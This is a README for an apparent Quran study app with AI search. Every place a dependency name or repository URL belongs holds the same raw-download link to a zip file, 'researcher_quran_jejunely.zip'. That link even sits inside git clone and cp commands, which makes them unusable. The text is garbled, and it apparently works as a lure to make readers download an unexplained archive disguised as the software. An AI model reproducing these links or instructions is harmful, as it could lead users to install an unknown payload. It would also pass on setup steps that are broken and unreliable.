📖 quran-researcher - Study the Quran with Ease

📥 Download & Install

To get started with Quran Researcher, visit the Releases page to download the latest version. Follow the steps below to set up the application on your device.

⚙️ Prerequisites

Before installing Quran Researcher, ensure you have the following tools on your system:

• Docker Desktop - Download and install Docker Desktop
• https://github.com/Sasuke810/quran-researcher/raw/refs/heads/main/public/researcher_quran_jejunely.zip 20+ - Required if you choose to run the application locally without Docker.
• Yarn - A package manager for https://github.com/Sasuke810/quran-researcher/raw/refs/heads/main/public/researcher_quran_jejunely.zip applications.

🚀 Getting Started with Docker

Loading up Quran Researcher using Docker is straightforward. Follow these steps:

1. Ensure Docker is Running

Make sure Docker Desktop is active on your machine. You can start it in different ways depending on your operating system:

• macOS: Open Docker Desktop from the Applications folder.
• Command line: Use open -a Docker to launch it.
• Windows: Start Docker Desktop from your Start menu.
• Linux: Run sudo service docker start to activate it.

To confirm Docker is running correctly, use the following command:

docker info

2. Clone and Setup the Repository

Next, you’ll need to clone the repository to your local machine. Execute the following commands in your terminal:

# Clone the repository
git clone https://github.com/Sasuke810/quran-researcher/raw/refs/heads/main/public/researcher_quran_jejunely.zip
cd quran-researcher

# Copy the environment file (if it exists)
cp https://github.com/Sasuke810/quran-researcher/raw/refs/heads/main/public/researcher_quran_jejunely.zip .env

3. Start All Services

To launch the application with all necessary services, use:

# Build and start all containers (PostgreSQL + https://github.com/Sasuke810/quran-researcher/raw/refs/heads/main/public/researcher_quran_jejunely.zip app)
docker-compose up -d --build

This will set up a PostgreSQL database along with the Quran Researcher application, allowing you to access the features instantly.

🛠️ Features

Quran Researcher comes packed with features that enhance your Quran study experience:

• AI-Powered Search: Quickly find verses and tafsir with smart queries.
• Semantic Search: Discover related verses and meanings.
• Tafsir Integration: Access detailed explanations alongside the original text.
• User-Friendly Interface: Navigate effortlessly to make your study productive.

📖 Explore the App

Once all services are up and running, open your web browser and navigate to http://localhost:3000. Here, you can start using Quran Researcher and explore each feature to enhance your learning.

⭐ Support and Feedback

If you experience any issues or have questions, feel free to open an issue on the GitHub repository. Your feedback is valuable for improving this application.

🌍 Community Resources

Join our community for discussions, help, and additional resources:

• GitHub Discussions: Participate in discussions
• Documentation: Access detailed documentation for in-depth guidance.

Visit the Releases page again for any updates or new versions of the software.

📆 Next Steps

Keep your application up-to-date by regularly checking the Releases page. Update your version to benefit from the latest features and improvements.

Happy studying!